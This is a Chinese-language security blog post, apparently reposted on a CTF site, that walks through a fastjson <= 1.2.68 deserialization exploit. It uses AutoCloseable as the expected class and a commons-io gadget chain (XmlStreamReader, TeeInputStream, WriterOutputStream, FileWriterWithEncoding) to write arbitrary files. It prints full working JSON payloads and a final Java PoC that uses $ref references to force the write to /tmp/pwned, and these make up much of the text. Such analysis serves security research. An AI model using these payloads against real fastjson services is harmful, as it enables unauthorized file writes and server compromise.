Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

渗透技巧 1年前 (2023) admin
474 0 0

前言:要学的都放在这列好,等fastjosn的历史线整理完了,再来学习这条链,这篇作为期望类AutoCloseable的利用

1、学习commonis-io来实现无系统版本限制来进行任意文件写入

2、解决为什么实战中最初的payload会显示default constructor not found.

3、进一步的了解fastjson的词义解析器

回顾

首先,我们回顾下,基于期望类的AutoCloseable来绕过autoType的机制有什么条件:

1、首先需要一个基于AutoCloseable作为期望类的反序列化器作为开头

2、后续解析的json字段,如果想要进行@type,@type对应的类想要是AutoCloseable的实现类

到这里,我们就分析好了,那么如果想要找到真正能利用的类,那么就需要是AutoCloseable的实现类,那么可以从哪里找?

1、原生类中的类实现了AutoCloseable的类

2、第三方jar包中实现了AutoCloseable的类

为什么下面的payload不通用

先分析下这条公开的了利用链

payload:

{
    "@type": "java.lang.AutoCloseable",
    "@type": "sun.rmi.server.MarshalOutputStream",
    "out": {
        "@type": "java.util.zip.InflaterOutputStream",
        "out": {
           "@type": "java.io.FileOutputStream",
           "file": "/tmp/asdasd",
           "append": true
        },
        "infl": {
           "input": {
               "array": "eJxLLE5JTCkGAAh5AnE=",
               "limit": 14
           }
        },
        "bufLen": "100"
    },
    "protocolVersion": 1
}

存在的问题

实战中我拿过这条payload进行利用,但是返回的都是如下的字符串:

default constructor not found. class sun.rmi.server.MarshalOutputStream

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

原因

原因如下fastjson 在通过带参构造函数进行反序列化时,会检查参数是否有参数名,只有含有参数名的带参构造函数才会被认可

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

这里可以通过查看MarshalOutputStream是否存在相关的LocalVariableTable

javap -l MarshalOutputStream.class | grep LocalVariableTable

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

如何挖掘带有通用的AutoCloseable利用链

1、LocalVariableTable 调试信息

2、第三方库大多数都存在LocalVariableTable 调试信息

3、第三方库中的实现AutoCloseable的子类

第三方jar commons-io 2.x包写文件利用链

参考文章:https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

长亭的一位师傅就在commons-io依赖包中进行了挖掘,他找到了一个可以不受系统限制的任意写文件的利用链,这里来进行学习下利用思路

利用链的POC如下所示,可以看到入口点就是XmlStreamReader,这里通过javap -l XmlStreamReader.class | grep LocalVariableTable测试的话,同样也可以发现是存在LocalVariableTable调试信息的

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

这里需要注意的原本文章中提供的WriterOutputStream的charset为charsetName导致利用失败,这里需要注意改下,可能是作者使用的是openjdk还是什么原因,作者那边的是charsetName,payload结果如下所示,我自己的环境是jdk版本331

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.XmlStreamReader",
  "is":{
    "@type":"org.apache.commons.io.input.TeeInputStream",
    "input":{
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa"
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer": {
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file": "/tmp/pwned",
        "encoding": "UTF-8",
        "append": false
      },
      "charset": "UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "closeBranch":true
  },
  "httpContentType":"text/xml",
  "lenient":false,
  "defaultEncoding":"UTF-8"
}

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

利用链的入口org.apache.commons.io.input.XmlStreamReader#XmlStreamReader(java.io.InputStream, java.lang.String, boolean, java.lang.String) 构造函数,如下图所示

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

其中inputstream对象构造的是TeeInputStream对象,其中构造函数的input字段(ReaderInputStream)和branch字段(WriterOutputStream)

其中ReaderInputStream的reader字段为CharSequenceReader(字符串aaaa)和charsetName字段和bufferSize字段

其中WriterOutputStream的writer字段为FileWriterWithEncoding(写文件使用)

                "    \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
                "    \"input\":{\n" +
                "      \"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\n" +
                "      \"reader\":{\n" +
                "        \"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\n" +
                "        \"charSequence\":{\"@type\":\"java.lang.String\"\"aaaaaa\"\n" +
                "      },\n" +
                "      \"charsetName\":\"UTF-8\",\n" +
                "      \"bufferSize\":1024\n" +
                "    },\n" +

利用链流程分析

这里就不进行调试了,简单的说明下调用的过程即可

那么这里就需要了解XmlStreamReader入口点的调用流程

XmlStreamReader.<init>(InputStream, String, boolean, String)
-> XmlStreamReader.doHttpStream(BOMInputStream, BOMInputStream, String, boolean)
-> BOMInputStream.getBOMCharsetName()
-> BOMInputStream.getBOM()
-> BufferedInputStream.read()
-> BufferedInputStream.fill()
-> InputStream.read(byte[], int, int)

XmlStreamReader.doHttpStream(BOMInputStream, BOMInputStream, String, boolean)

此时的BOMInputStream中是我们的TeeInputStream对象

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

BOMInputStream.getBOMCharsetName()

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

BOMInputStream.getBOM()

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

BufferedInputStream.read(),那么这里的in.read();调用的就是TeeInputStream的read方法

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

而这里的TeeInputStream的read方法中super.read();的super.read()方法对象是我们的ReaderInputStream对象,所以这里调用的是ReaderInputStream.read方法

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

ReaderInputStream.read方法会调用fillBuffer方法,这里继续跟进去进行观察

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

其中会调用reader.read(encoderIn.array(), position, encoderIn.remaining());方法,而这里的reader.read实际上是CharSequenceReader.read方法Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

上面系列的构造就完成了读取CharSequenceReader中的数据到一个另一个流中,而另一个流我们这里构造的就是WriterOutputStream,最终流向的位置就是在org.apache.commons.io.input.TeeInputStream#read()中进行体现,如下图所示

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

这里挑选的WriterOutputStream对象,这里继续跟过去,调用的位置就是org.apache.commons.io.output.WriterOutputStream#write(byte[], int, int)

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

接着继续跟到org.apache.commons.io.output.WriterOutputStream#processInput方法中,因为这里把数据又放到了decoderIn缓冲区里面,然后又调用了processInput方法

接着最终的话就会在如下图的位置flushOutput方法进行触发写入

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

跟进flushOutput方法中,可以看到调用了writer.write(decoderOut.array(), 0, decoderOut.position())方法,这里的writer就是我们构造的FileWriterWithEncoding对象,所以调用的就是FileWriterWithEncoding.write

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

而我们这边write的对象就是一个构造的文件,poc中体现的就是/tmp/pwned

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

最终的效果就是如下所示,但是奇怪的就是这里并没有将其数据进行写入

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

未写入数据的原因

继续往下跟你会发现最终调用write的方法是在sun.nio.cs.StreamEncoder#write(int)中

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

sun.nio.cs.StreamEncoder#implWrite,而最终如果想要写入成功的话,就需要满足var5.isOverflow()

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

如下所示,来自长亭文章中的截图

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

解决办法如下,可以通过fastjson的循环引用的特性来进行解决

fastjson的循环引用的特性

参考文章:https://blog.csdn.net/HelloXiaoYueYue/article/details/51173168

这里还需要穿插下关于fastjson的循环引用的特性,这里拿到小例子来说明关于fastjson的循环引用的使用

比如如下的代码,字段c中还需要拿到a的值,并且需要跟a保证是内存地址也是一样,那么这里就可以通过引用的方式,通过{"$ref":"$.a"}的形式即可,$代表的是第一层的json中的地址

public class Test_for_ref {
    public static void main(String[] args) {
        String test_json = "{\"a\": \"1\", b: {\"c\":{\"$ref\":\"$.a\"}}}";
        Object object2 = JSON.parseObject(test_json);
        System.out.println(object2);
    }
}

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

如果想要多层嵌套的的话也是一样的,外部再加个对应的键即可,如下所示引用

public class Test_for_ref {
    public static void main(String[] args) {
        String test_json = "{\"a\": {\"b\":{\"c\":\"2\"}}, \"d\": {\"e\":{\"$ref\":\"$.a.b.c\"}}}";
        Object object2 = JSON.parseObject(test_json);
        System.out.println(object2);
    }
}

Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

所以需要对输出流进行多次写入实现isOverflow的效果,最终的POC则为如下所示

public class Test_1_2_68_4 {
    public static void main(String[] args) {
        String userJson = "\n" +
                "{\n" +
                "  \"x\":{\n" +
                "    \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
                "    \"input\":{\n" +
                "      \"@type\":\"java.lang.AutoCloseable\",\n" +
                "      \"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\n" +
                "      \"reader\":{\n" +
                "        \"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\n" +
                "        \"charSequence\":{\"@type\":\"java.lang.String\"\"testaaaaaaaaaaaaaaaaaaaa\"\n" +
                "      },\n" +
                "      \"charsetName\":\"UTF-8\",\n" +
                "      \"bufferSize\":1024\n" +
                "    },\n" +
                "    \"branch\":{\n" +
                "      \"@type\":\"java.lang.AutoCloseable\",\n" +
                "      \"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\n" +
                "      \"writer\":{\n" +
                "        \"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\n" +
                "        \"file\":\"/tmp/pwned\",\n" +
                "        \"encoding\":\"UTF-8\",\n" +
                "        \"append\": false\n" +
                "      },\n" +
                "      \"charset\":\"UTF-8\",\n" +
                "      \"bufferSize\": 1024,\n" +
                "      \"writeImmediately\": true\n" +
                "    },\n" +
                "    \"trigger\":{\n" +
                "      \"@type\":\"java.lang.AutoCloseable\",\n" +
                "      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
                "      \"is\":{\n" +
                "        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
                "        \"input\":{\n" +
                "          \"$ref\":\"$.input\"\n" +
                "        },\n" +
                "        \"branch\":{\n" +
                "          \"$ref\":\"$.branch\"\n" +
                "        },\n" +
                "        \"closeBranch\": true\n" +
                "      },\n" +
                "      \"httpContentType\":\"text/xml\",\n" +
                "      \"lenient\":false,\n" +
                "      \"defaultEncoding\":\"UTF-8\"\n" +
                "    },\n" +
                "    \"trigger2\":{\n" +
                "      \"@type\":\"java.lang.AutoCloseable\",\n" +
                "      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
                "      \"is\":{\n" +
                "        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
                "        \"input\":{\n" +
                "          \"$ref\":\"$.input\"\n" +
                "        },\n" +
                "        \"branch\":{\n" +
                "          \"$ref\":\"$.branch\"\n" +
                "        },\n" +
                "        \"closeBranch\": true\n" +
                "      },\n" +
                "      \"httpContentType\":\"text/xml\",\n" +
                "      \"lenient\":false,\n" +
                "      \"defaultEncoding\":\"UTF-8\"\n" +
                "    },\n" +
                "    \"trigger3\":{\n" +
                "      \"@type\":\"java.lang.AutoCloseable\",\n" +
                "      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
                "      \"is\":{\n" +
                "        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
                "        \"input\":{\n" +
                "          \"$ref\":\"$.input\"\n" +
                "        },\n" +
                "        \"branch\":{\n" +
                "          \"$ref\":\"$.branch\"\n" +
                "        },\n" +
                "        \"closeBranch\": true\n" +
                "      },\n" +
                "      \"httpContentType\":\"text/xml\",\n" +
                "      \"lenient\":false,\n" +
                "      \"defaultEncoding\":\"UTF-8\"\n" +
                "    }\n" +
                "  }\n" +
                "}";
        Object object2 = JSON.parse(userJson);
    }
}

 

版权声明:admin 发表于 2023年3月8日 上午8:18。
转载请注明:Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...